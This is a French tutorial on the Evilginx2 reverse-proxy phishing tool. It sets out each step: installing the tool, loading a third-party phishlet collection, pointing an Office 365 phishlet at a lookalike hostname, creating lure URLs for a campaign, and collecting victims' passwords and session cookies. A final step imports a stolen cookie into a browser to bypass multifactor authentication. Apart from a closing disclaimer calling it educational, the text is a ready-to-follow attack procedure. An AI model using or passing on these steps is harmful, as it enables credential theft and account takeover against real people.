Evilginx2 et les Phishlets : Décortiquer Evilginx2 et l'Art du Reverse Proxy Phishing

 

Dans le domaine de la sécurité offensive, l'efficacité repose souvent sur l'innovation. Evilginx2 est un excellent exemple de cette maxime. Conçu en Go, cet outil exploite le concept du Reverse Proxy pour orchestrer des attaques de phishing ultra-réalistes et, surtout, indétectables par les systèmes MFA traditionnels.

Nous détaillerons comment Evilginx2 se positionne comme un intermédiaire transparent entre l'utilisateur et le serveur légitime, comment il utilise des phishlets spécifiques pour chaque cible, et comment il parvient à capturer les cookies de session pour compromettre le compte sans jamais avoir besoin de saisir un code temporaire.

 commande pour installer Evilginx2 sur Linux

sudo apt install evilginx2

Pour commencer, exécutez Evilginx afin que le fichier de configuration soit créé :

Tapez simplement : evilginx2

Tapez `exit` pour quitter la console Evilginx. Une fois le processus lancé, un fichier de configuration sera disponible à l'emplacement suivant : `~/.evilginx/config.json`.

Maintenant que c'est dit, passons aux Phishlets.

1. Installez Phishlets

Les phishlets sont de petits fichiers de configuration utilisés pour configurer Evilginx afin de cibler des sites web spécifiques, dans le but de réaliser des attaques de phishing.

Ces fichiers se trouvent dans le répertoire *phishlets* du binaire Evilginx.
Ils sont au format YAML.

Vous pouvez créer vos propres modèles ou utiliser ceux déjà créés par d'autres membres de la communauté.
Pour cette articles, nous utilisons les modèles de Jeanluck.

https://github.com/jeanlucndato/Evilginx2-Phishlets

Récupérez ce dépôt avec :

git clone https://github.com/jeanlucndato/Evilginx2-Phishlets

Vous n'avez pas Git ? Exécutez : apt-get install git

Nous disposons maintenant d'un ensemble de phishlets utilisables, mais nous devons d'abord les déplacer dans le bon répertoire :

cp -r Evilginx2-Phishlets/* /usr/share/evilginx2/phishlets/

Vérifiez qu'ils ont bien copié en consultant le contenu du dossier phishlets :

ls -l /usr/share/evilginx2/phishlets/

relancer Evilginx :

evilginx2

2. Configurer Phishlet

Dans la console Evilginx, utilisez cette syntaxe pour configurer le phishlet que vous souhaitez utiliser :

phishlets hostname <phishlet name> <hostname> 

Exemple:

phishlets hostname o365 login.my-phishing-url.com

REMARQUE : Certains phishings ajoutent automatiquement un préfixe de sous-domaine tel que « login. » ou « academy. » — Vous devrez vous assurer d’avoir configuré des enregistrements A pour ces domaines quel que soit l’endroit où vous hébergez votre serveur EvilGinx.

Ensuite, activez le phishlet

phishlets enable <phishlet name>

Une fois activée, vous devriez voir quelque chose comme ceci :

Si EvilGinx n'a pas pu obtenir de certificat TLS valide, il se peut que vous n'ayez pas configuré d'enregistrement A pour le domaine/sous-domaine approprié. Le domaine complet recherché devrait figurer dans le message d'erreur.

3. Créer un appât

Un leurre est l'URL sur laquelle nous voulons que notre cible clique. Cela crée le lien vers votre page de phishing.

Tapez « lures » pour afficher la liste des leurres disponibles.

Pour en créer un nouveau qui pointe vers le phishlet que nous avons configuré, utilisez la commande suivante :

lures create <phishlet name>

Pour obtenir l'appât, tapez :

lures get-url <lure id>

Voici l'URL que vous devrez utiliser dans votre campagne d'hameçonnage.

4. Lancez-vous dans le phishing !

Vous êtes libre de diffuser l'URL comme vous le souhaitez. Supposons maintenant que votre destinataire ait cliqué sur le lien (ou que vous ayez cliqué dessus pour le tester).

La page d'hameçonnage doit ressembler à la page d'accueil du compte auquel vous essayez d'accéder (le modèle de phishlet que vous avez choisi) :

Une fois que l'utilisateur s'est connecté, vous verrez apparaître son nom d'utilisateur, son mot de passe et son jeton de session :

Pour afficher les jetons de session que vous avez capturés, tapez `sessions`

Pour obtenir le jeton de session, saisissez :

sessions <session id>

Evilginx présentera le jeton de session / cookie :

Pour l'utiliser, ajoutez une extension Cookie Editor à votre navigateur, cliquez sur « importer » et collez le jeton :

Une fois le jeton importé, rechargez la page sur laquelle vous essayez de vous connecter.

Et voilà ! Vous devriez être authentifié en tant qu'utilisateur cible, en contournant complètement l'authentification multifacteur.

ATTENTION : L'intégralité de cet article, y compris les détails techniques, les commandes et les exemples d'exécution, est fournie dans un but strictement ÉDUCATIF et de RECHERCHE EN SÉCURITÉ INFORMATIQUE. Le but est de comprendre les techniques d'attaque avancées (Red Teaming) afin de mieux s'en défendre (Blue Teaming). L'utilisation de ces outils ou techniques sur des systèmes sans autorisation explicite est illégale et strictement interdite. L'auteur et l'éditeur déclinent toute responsabilité en cas d'utilisation abusive ou illégale des informations présentées.